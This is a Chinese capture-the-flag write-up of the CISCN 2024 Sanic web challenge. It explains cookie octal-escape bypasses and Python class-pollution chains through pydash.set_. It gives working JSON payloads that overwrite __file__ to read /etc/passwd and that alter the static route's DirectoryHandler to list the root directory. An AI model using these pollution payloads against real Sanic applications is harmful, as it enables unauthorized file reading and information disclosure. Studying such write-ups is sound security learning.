前言
前两天结束的ciscn2024中有一道web sanic考的是python原型链污染,但这题需要大量的时间去挖掘可污染的变量,以及对sanic框架的学习程度,也是比赛中唯一的一解题,笔者根据gxngxngxn大佬的文章自己也进行了复现(文章会贴在后面的参考链接),向gxngxngxn大佬学习!!!

审题
访问/src获得源码

from sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash
# pydash==5.1.2


class Pollute:
    def __init__(self):
        pass


app = Sanic(__name__)
app.static("/static/", "./static/")
Session(app)


@app.route('/', methods=['GET', 'POST'])
async def index(request):
    return html(open('static/index.html').read())


@app.route("/login")
async def login(request):
    user = request.cookies.get("user")
    if user.lower() == 'adm;n':
        request.ctx.session['admin'] = True
        return text("login success")

    return text("login fail")


@app.route("/src")
async def src(request):
    return text(open(__file__).read())


@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
    if request.ctx.session.get('admin') == True:
        key = request.json['key']
        value = request.json['value']
        if key and value and type(key) is str and '_.' not in key:
            pollute = Pollute()
            pydash.set_(pollute, key, value)
            return text("success")
        else:
            return text("forbidden")

    return text("forbidden")


if __name__ == '__main__':
    app.run(host='0.0.0.0')

审计发现admin路由存在原型链污染的操作 前提是session提取出来的admin的值要为true

@app.route("/login")
async def login(request):
    user = request.cookies.get("user")
    if user.lower() == 'adm;n':
        request.ctx.session['admin'] = True
        return text("login success")

    return text("login fail")

我们发现/login路由 当我们cookie传的user的值为adm;n时,为给我们设置为true
众所周知,cookie中的;被视为分隔符,正常传肯定失败,那我们就要去想想怎么绕过
既然是sanic的框架 我们自然会去搜sanic框架的源码 (cookies)
发现在sanic/cookies/request.py中的_unquote函数存在八进制解码的逻辑,且开头会去掉双引号 于是我们找到了绕过办法"\141\144\155\073\156"


这时候我们就可以开始污染了
我们的思路也很明确就是污染file变量,达到任意文件读取

@app.route("/src")
async def src(request):
    return text(open(__file__).read())

但还是需要绕过_.的限制 这里题目标明了pydash的版本pydash==5.1.2 我们去找源码跟一下path解析

RE_PATH_KEY_DELIM = re.compile(r"(?<!\)(?:\\)*.|([\d+])")
发现 \. 会当作 .进行处理,可以绕过题目的过滤,而 . 会作为 . 的转义不进行分割

__init__\\\\.__globals__

所以我们可以使用如下payload进行读文件

{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.__file__","value":"/etc/passwd"}


污染成功 但我们不知道flag的文件名 所以我们继续寻找可污染变量,注意到注册的 static 路由会添加 DirectoryHandler 到 route
跟进static

看见注解 可以知道

大致意思就是directory_view为True时,会开启列目录功能,directory_handler中可以获取指定的目录
跟进 directory_handler

发现 directory_handler 是对 DirectoryHandler类的实例化

跟进这个类发现directory_view和directory
所以 只要我们将directory污染为根目录,directory_view污染为True,就可以看到根目录的所有文件了
这边我们自己可以加个后门方便我们本地调试

然后我们本地起个服务
sanic框架可以通过app.route.name_index['xxxxx']来获取注册的路由 我们直接输出看看
?cmd=print(app.router.name_index['mp_main.static'])

全局搜索name_index,看看是怎么调用的

打个断点 我们可以看见handler.keywords.directory_handler下存在我们想污染的变量

print(app.router.name_index['mp_main.static'].handler.keywords['directory_handler'])

可以看到达到这个对象 接下访问这个对象的.directory_view
print(app.router.name_index['mp_main.static'].handler.keywords['directory_handler'].directory_view)

发现为false 我们只需要污染为true即可

{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": "True"}

同理我们可以看见了他也存在directory
我们正常思路是去污染这个 来我们试试能不能访问
print(app.router.name_index['mp_main.static'].handler.keywords['directory_handler'].directory)

发现正是我们的当前目录 我们尝试污染

发现报错 我们跟进directory看看

发现 directory是一个对象,而它的值就是由其中 的parts属性决定的,但是由于这个属性是一个tuple,不能直接被污染,我们需要 找到这个属性是如何被赋值的

跟进Path对象

发现parts最终被赋给了_parts属性 我们接着去访问这个属性
print(app.router.name_index['mp_main.static'].handler.keywords['directory_handler'].directory._parts)

发现这是一个list,允许污染!
给出污染链

{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value": ["/"]}

接下来我们用ctfshow的环境试试



发现flag名字 然后就通过污染file读flag就行

访问/src得到flag

至此污染完成!

参考链接
https://www.cnblogs.com/gxngxngxn/p/18205235
向gxn大佬学习!!!

点击收藏 | 0 关注 | 2 打赏
  • 动动手指,沙发就是你的了!
登录 后跟帖